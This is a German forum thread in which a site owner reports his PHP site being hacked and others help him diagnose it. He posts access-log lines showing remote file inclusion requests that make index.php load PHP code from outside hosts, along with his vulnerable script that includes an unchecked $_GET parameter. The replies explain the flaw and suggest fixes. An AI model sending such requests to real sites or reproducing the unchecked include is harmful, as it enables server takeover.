Server wurde gehackt

toohappy

Grünschnabel
Meine Homepage wurde mittels php scripten gehackt glaube ich zumindest. Wie kann ich mich in Zukunft davor schützen?

Hier sind ein paar Ausschnitte aus logdateien wir man sich Zugriff erschafft hat. Ein paar Angaben sind verändert damit man nicht auf die jeweiligen Seiten kommt.

"GET /gfx/button-off2.jpg HTTP/1.1" 200 2178 "http://www.xxx.de/index.php?site=http://xxx.com/blade_tea/banda.txt"
"POST /index.php?site=http://xxx.xxxxxx.xx.xx/upload/skins/max.txt? HTTP/1.1"
"GET /index.php?site=http://xxx.xxx/blade_tea/aku.txt HTTP/1.1"

Davon sind noch mehr da. In diesen Textdateien ist php-code. Ich habe die ganzen Scripte die aufgerufen wurden mal gespeichert. Eines davon war noch ein Exploit und ein anderes ein Trojaner.
Was ich nicht verstehe, dass das überhaupt erlaubt ist von anderen Servern Scripte auszuführen. Wenn sich jemand die Scripte anschauen will schicke ich Sie ihm.

Gruß
toohappy
 
Hallo toohappy.


Kannst du mir mal die scripte schicken, würde mich interesieren.
Hast du schon dein Sicherheitsloch gefunden?
Wenn du hilfe brauchst meld dich. Hab etwas erfahrung mit PHP und Hacken.

MfG
Marco
 
ich verstehe dein problem nicht so ganz, deine seite wurde gehackt, na und?
Es gibt keinen schalter mit den du umlegen kannst, so dass deine seite sicher ist.

Als 1. wäre es nicht schlecht rauszufinden wie deine seite gehackt wurde.
Fehler im php Code, fehler in der server software apache?
Diese get dinger sehen danach aus, als ob deine index seite, angreifbar ist.

Lade am besten mal deine komplette index.php seite hier hoch, dann kann man dir eventuell helfen.
 
Also meine index seite schaut so aus. Das weite Problem ist, dass ich nicht mehr auf das html verzeichniss auf dem server zugreifen kann. Sonst wäre es nicht ganz so schlimm.

<?php

$site = $_GET['site'];

include ("links.inc.php");

include ("kopf.php");

if ($_GET['site'] == "") {
include ("home.php");
}

else {

include $site.".php";

}

include ("fuss.php");
?>
 
Hi erstmal kann man jeden server Hacken ,man ein User macht es Hackern ganz leicht zb.durch SQL-Injektion aber auch Windows Server sind über den FTP zugang ein kinderspiel zu Hacken


Gruß No-Body:)
 
"GET /gfx/button-off2.jpg HTTP/1.1" 200 2178 "http://www.xxx.de/index.php?site=http://xxx.com/blade_tea/banda.txt"
"POST /index.php?site=http://xxx.xxxxxx.xx.xx/upload/skins/max.txt? HTTP/1.1"
"GET /index.php?site=http://xxx.xxx/blade_tea/aku.txt HTTP/1.1"

Diese HTTP Aufrufe bedeuten nicht zwangsläufig das der Server "gehackt" wurde. Wie Du erkennen kannst basiert diese Art des Angriffs auf der Suche nach "unsicheren" PHP-Skripten. Das heißt es wird versucht PHP-Seiten zu finden die es erlauben über die GET oder POST Variablen externe Textdateien in das Skript zu inkludieren damit diese lokal ausgeführt werden. Diese Versuche wirst Du regelmäßig in Deinem Serverlog finden ohne das Du "gehackt" worden bist. Es sind lediglich Versuche.
Du kannst die Warscheinlichkeit senken das diese Angriffe erfolg haben indem Du durch die php.ini z. B. Globale Variablen nicht erlaubst (register_globals = off). In den Skripten verarbeitest Du POST und GET Variblen getrennt. Daten von außerhalb (POST und GET - und auch Cookies) solltest Du grundsätzlich als unsicher ansehen und vor dem Verarbeiten im Skript überprüfen.

Diese Art von Angriffen läuft oft automatisiert ab und lässt sich nicht komplett eindämmen. Mein Firmenserver läuft seit ca. 8 Jahren und wurde noch nie gehackt. Aber in den Logs finden sich zwischen 10 und 100 solcher geloggten (Include) Angriffe pro Tag. Richtig bekannte Websites dürften tausende solche Angriffe pro Tag verzeichnen. Mittlerweile habe ich mir eine PHP-Klasse geschrieben die jeglichen Input auf Konformität prüft und alle diese Angriffe auf eine Seite leitet die mehrsprachig unfreundliche Worte auflistet ;-)
 
Zuletzt bearbeitet:
Naja ich habe wohl vergessen zu sagen das die Seite nicht mehr erreichbar ist. Zudem wurden die Rechte für die Ordner verstellt und ich habe 100 Emails in meinem Posteingang in dem steht "undelivered Mail Returned to Sender".

Aber das Problem ist lokalisiert.

include $site.".php";

und wird jetzt geändert. Trotzdem wundere ich mich das auf diese Weise Code von anderen Servern auf meinem ausgeführt wird.

Gruß
toohappy
 
Das hier
PHP:
include $site.".php";
würde ich so nicht verwenden, zumindest nicht ohne die Variable $site zu überprüfen.
Ich hab mindestens schon 2 Server gesehen auf denen man damit ganz einfach ein PHP Script aus dem Internet includen konnte. Und wenn das Script erstmal läuft....

Frag mich aber keiner wie die Server konfiguriert waren, auf meinen eigenen Systemen konnte ich das nie reproduzieren. Ok die sind vermutlich auch nicht so "locker" konfiguriert wie die beiden bei denen es ging. Oder lag es an der PHP Version ?
 
Naja ich habe wohl vergessen zu sagen das die Seite nicht mehr erreichbar ist. Zudem wurden die Rechte für die Ordner verstellt und ich habe 100 Emails in meinem Posteingang in dem steht "undelivered Mail Returned to Sender".

Aber das Problem ist lokalisiert.

include $site.".php";

und wird jetzt geändert. Trotzdem wundere ich mich das auf diese Weise Code von anderen Servern auf meinem ausgeführt wird.

Also wenn du sicher bist dass etwas passiert ist, wende dich an deinen Hoster.
Du solltest alles vom Webspace löschen, und deine lokalen "unverseuchten" Versionen hochladen. Natürlich nachdem du das Zeug abgesichert hast

Wenn du Pech hast, und die Leute nicht doof waren, ist nämlich irgendwo nun ein Script auf deinem Webspace welches lustig Mails oder sonstiges verteilt.
Eventuell wurden auch Datenbankpasswörter die auf dem Webspace gespeichert waren (zB von der Forensoftware oder dem Gästebuch) ausspioniert.
 
Zurück